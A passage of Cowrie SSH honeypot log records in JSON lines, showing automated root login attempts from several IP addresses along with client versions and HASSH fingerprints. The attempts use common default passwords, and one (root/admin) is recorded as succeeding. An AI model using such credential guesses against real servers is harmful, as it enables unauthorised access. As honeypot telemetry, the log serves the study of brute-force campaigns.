sa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:17.356412Z","src_ip":"124.152.4.100","session":"38e6412ae43c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:18.195262Z","src_ip":"124.152.4.100","session":"38e6412ae43c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":42086,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5fc4c4ba135","protocol":"ssh","message":"New connection: 103.27.238.120:42086 (10.17.0.5:22) [session: d5fc4c4ba135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:19.187882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:19.193108Z","src_ip":"103.27.238.120","session":"d5fc4c4ba135","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:19.467379Z","src_ip":"103.27.238.120","session":"d5fc4c4ba135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:19.477844Z","src_ip":"124.152.4.100","session":"38e6412ae43c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.152.4.100","src_port":33056,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7a5a2e63e9c","protocol":"ssh","message":"New connection: 124.152.4.100:33056 (10.17.0.5:22) [session: f7a5a2e63e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:19.710836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:19.717750Z","src_ip":"124.152.4.100","session":"f7a5a2e63e9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:19.984269Z","src_ip":"124.152.4.100","session":"f7a5a2e63e9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789t","message":"login attempt [root/123456789t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:20.294074Z","src_ip":"103.27.238.120","session":"d5fc4c4ba135","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:20.760526Z","src_ip":"124.152.4.100","session":"f7a5a2e63e9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:21.575164Z","src_ip":"103.27.238.120","session":"d5fc4c4ba135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:22.021945Z","src_ip":"124.152.4.100","session":"f7a5a2e63e9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.152.4.100","src_port":33058,"dst_ip":"10.17.0.5","dst_port":22,"session":"f55719e4a51b","protocol":"ssh","message":"New connection: 124.152.4.100:33058 (10.17.0.5:22) [session: f55719e4a51b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:22.281059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:22.287406Z","src_ip":"124.152.4.100","session":"f55719e4a51b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:22.546412Z","src_ip":"124.152.4.100","session":"f55719e4a51b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:23.331840Z","src_ip":"124.152.4.100","session":"f55719e4a51b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:24.593177Z","src_ip":"124.152.4.100","session":"f55719e4a51b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.152.4.100","src_port":33070,"dst_ip":"10.17.0.5","dst_port":22,"session":"a24655493b66","protocol":"ssh","message":"New connection: 124.152.4.100:33070 (10.17.0.5:22) [session: a24655493b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:24.852799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:24.863103Z","src_ip":"124.152.4.100","session":"a24655493b66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:25.127060Z","src_ip":"124.152.4.100","session":"a24655493b66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:25.908351Z","src_ip":"124.152.4.100","session":"a24655493b66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:27.171867Z","src_ip":"124.152.4.100","session":"a24655493b66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.152.4.100","src_port":60920,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdeb479f7587","protocol":"ssh","message":"New connection: 124.152.4.100:60920 (10.17.0.5:22) [session: fdeb479f7587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:27.434570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:27.444381Z","src_ip":"124.152.4.100","session":"fdeb479f7587","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:27.707828Z","src_ip":"124.152.4.100","session":"fdeb479f7587","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:28.506497Z","src_ip":"124.152.4.100","session":"fdeb479f7587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":36216,"dst_ip":"10.17.0.5","dst_port":22,"session":"9551d58275ea","protocol":"ssh","message":"New connection: 87.251.79.125:36216 (10.17.0.5:22) [session: 9551d58275ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:39.921071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:39.926291Z","src_ip":"87.251.79.125","session":"9551d58275ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:39.997893Z","src_ip":"87.251.79.125","session":"9551d58275ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wertyu","message":"login attempt [root/wertyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:40.212713Z","src_ip":"87.251.79.125","session":"9551d58275ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:41.287272Z","src_ip":"87.251.79.125","session":"9551d58275ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":55424,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb24f05651c3","protocol":"ssh","message":"New connection: 37.233.85.71:55424 (10.17.0.5:22) [session: cb24f05651c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:43.627701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:43.632390Z","src_ip":"37.233.85.71","session":"cb24f05651c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:43.741370Z","src_ip":"37.233.85.71","session":"cb24f05651c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1020304050","message":"login attempt [root/1020304050] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:44.070323Z","src_ip":"37.233.85.71","session":"cb24f05651c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:45.182451Z","src_ip":"37.233.85.71","session":"cb24f05651c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37448,"dst_ip":"10.17.0.5","dst_port":22,"session":"3112acabd89d","protocol":"ssh","message":"New connection: 103.176.20.57:37448 (10.17.0.5:22) [session: 3112acabd89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:59.986807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:00:59.994522Z","src_ip":"103.176.20.57","session":"3112acabd89d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:00.250809Z","src_ip":"103.176.20.57","session":"3112acabd89d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"444555","message":"login attempt [root/444555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:01.025744Z","src_ip":"103.176.20.57","session":"3112acabd89d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:02.284773Z","src_ip":"103.176.20.57","session":"3112acabd89d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":38958,"dst_ip":"159.203.135.109","dst_port":22,"session":"2388386e17e7","protocol":"ssh","message":"New connection: 109.172.54.111:38958 (159.203.135.109:22) [session: 2388386e17e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:15.206967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:15.213789Z","src_ip":"109.172.54.111","session":"2388386e17e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"enc